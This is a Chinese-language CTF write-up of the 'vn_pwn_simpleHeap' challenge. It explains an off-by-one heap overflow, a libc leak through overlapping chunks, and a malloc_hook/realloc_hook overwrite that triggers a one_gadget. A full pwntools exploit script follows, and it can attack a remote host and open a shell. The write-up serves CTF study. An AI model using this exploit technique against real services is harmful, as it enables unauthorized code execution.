程序分析
在edit功能中存在一个sub_c39
函数,由于是从0开始,假设a2为10的话,应当在i=a2
时便break
,所以存在off by one
漏洞
之后就是由于程序中malloc能申请的最大空间就是0x6f
,而我们如果想通过free超过0x80的chunk来泄露libc的话,就必须要用堆叠chunk的方式来构造超过0x80的chunk进行free
不过需要说明一点的是,由于malloc的机制,当我们申请的堆块未和0x10对齐时,比如0x18,多出来的0x8字节将存放在下一个堆块的prev_size位,之后我们就可以通过offbyone来修改堆块的大小了
详细利用
申请4个堆块
第一个堆块用于offbyone
第二和第三个用于合并成超过0x80大小的chunk
第四个用于在free时防止chunk被合并到top chunk中
利用off by one 修改chunk_1
使chunk_1和chunk_2成为一块0xe0
大小的chunk
free堆块 泄露libc
删除chunk_1
可以看到此时chunk_1的fd和bk指针都已经指向了main_arena
之后只需要通过再次的malloc申请一个堆块并填充上0x7
大小的数据就可以带出该地址(由于会在末尾加上\x0a
所以为0x7)
最后减去距离libc的偏移就可以得到libc地址
修改chunk_2 劫持realloc_hook
这里有两个重点要说明一下
- 为什么要用realloc而不是直接用free_hook\malloc_hook
首先是free_hook的问题,由于free_hook的附近的数据全都是0,这对于malloc的检查机制,不好构造chunk结构来绕过
而malloc_hook的话,则由于部分题的环境原因而不能直接使用one_gadget否则将会破坏栈平衡,更不能使用system因为我们无法向其中传入/bin/sh
字符串
那么这时我们就可以利用realloc函数的开头部分一堆的push操作让栈保持平衡,进而执行onegadget
- fake_chunk的地址为什么要设在
main_arena296-296-0x33
首席是可以通过malloc的检查机制,其次由于malloc_hook距离realloc_hook只有0x8
的距离,所以我们填充的数据可以同时对这两个地址进行覆盖
建立chunk_4 填充fake_chunk
之后就要在chunk_2上进行操作
首先,由于此时的fd指针指向的位置是chunk_2,所以需要在申请一次在chunk_2上建立chunk_4,然后free掉这个chunk_4。之后我们修改chunk_2将fd
区域改为fake_chunk
,由于chunk_4与chunk_2重叠的原因,所以此时被free掉的chunk_4的fd指针指向的就是fake_chunk的地址
之后虽然在上一步chunk_4的fd位置上填充了fake_chunk的地址,但是此时与chunk_4重叠的chunk_2的fd指针却还是指向chunk_4(2),所以要先malloc一次,在chunk_4(2)上填充数据
在fake_chunk上写
再次malloc申请的地址就是fake_chunk的地址了
然后payload中还有一点需要说明一下
1
| add(0x60,"c"*(0x13-8)+p64(one_gg)+p64(realloc+0xc))
|
前面的'c'*(0x13-8)
是因为我们是从main_arena-0x33
的位置填充的,而这个位置距离realloc_hook的距离就是(0x13-8)
。
后面的realloc+0xc
则是根据realloc在栈中push和pop数量做的一个偏移,由于realloc函数在执行时,会执行多个push寄存器的操作,如果前后的push pop次数不对应的话将影响栈平衡,所以我们直接在malloc_hook中填上realloc_hook+X
的方式来执行one_gadget
具体可以看这篇文章:https://bbs.pediy.com/thread-246786.htm
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107
| import sys from pwn import * from one_gadget import generate_one_gadget context.terminal = ["tmux","new-window"] context.log_level = "debug"
def ProLoc(elf_addr,libc_addr,pro_libc): global sh,elf,libc,one_ggs if len(sys.argv) > 1 : ip = sys.argv[1] prot = sys.argv[2] sh = remote(ip,prot) libc_addr = pro_libc else: sh = process(elf_addr) elf = ELF(elf_addr) libc = ELF(libc_addr) one_ggs = one_gadget(libc_addr)
def debug(cmd=""): if len(sys.argv) == 1: gdb.attach(sh,cmd)
def shell_code(fw): if fw == 32: return asm(shellcraft.sh()) elif fw == 64: return asm(shellcraft.amd64.linux.sh())
def one_gadget(libc_addr): log.progress("Leak One_Gadgets...") path_to_libc=libc_addr gadget =[] for offset in generate_one_gadget(path_to_libc): gadget.append(int(offset)) return gadget
def exp(): def add(size,content): sh.recvuntil("choice: ") sh.sendline("1") sh.sendlineafter("size?",str(size)) sh.sendlineafter("content:",content) def edit(idx,content): sh.recvuntil("choice: ") sh.sendline("2") sh.sendlineafter("idx?",str(idx)) sh.sendlineafter("content:",content) def show(idx): sh.recvuntil("choice: ") sh.sendline("3") sh.sendlineafter("idx?",str(idx)) def delete(idx): sh.recvuntil("choice: ") sh.sendline("4") sh.sendlineafter("idx?",str(idx))
add(0x18,"a") add(0x60,"b") add(0x60,"c") add(0x10,"d") edit(0,"A"*0x18+"\xe1") delete(1) add(0x60,"B"*7) show(1) sh.recvuntil("\x0a") main_arena296 = u64(sh.recv(6).ljust(8,"\x00")) success("main_arena => 0x%x",main_arena296)
log.progress("loading leak addr...") libc_base= main_arena296-0x3c4c48 malloc_hook = main_arena296-296-0x10 fake_chunk = main_arena296-296-0x33 realloc = libc_base+libc.sym["__libc_realloc"] one_gg = libc_base+one_ggs[0] success("libc_base => 0x%x",libc_base) success("realloc => 0x%x",realloc) success("malloc_hook => 0x%x",malloc_hook) success("fake_chunk => 0x%x",fake_chunk) success("one_gadget => 0x%x",one_gg)
add(0x60,"a"*7) delete(4) edit(2,p64(fake_chunk)) add(0x60,"b") add(0x60,"c"*(0x13-8)+p64(one_gg)+p64(realloc+0xc))
sh.recvuntil("choice: ") sh.sendline("1") sh.sendlineafter("size?","1") sh.interactive()
if __name__=="__main__": elf_addr = "./vn_pwn_simpleHeap" libc_addr = "/lib/x86_64-linux-gnu/libc.so.6" pro_libc = "./libc-2.23.so" ProLoc(elf_addr,libc_addr,pro_libc) exp()
|
我的博客即将同步至腾讯云+社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=2occsfq3la4g8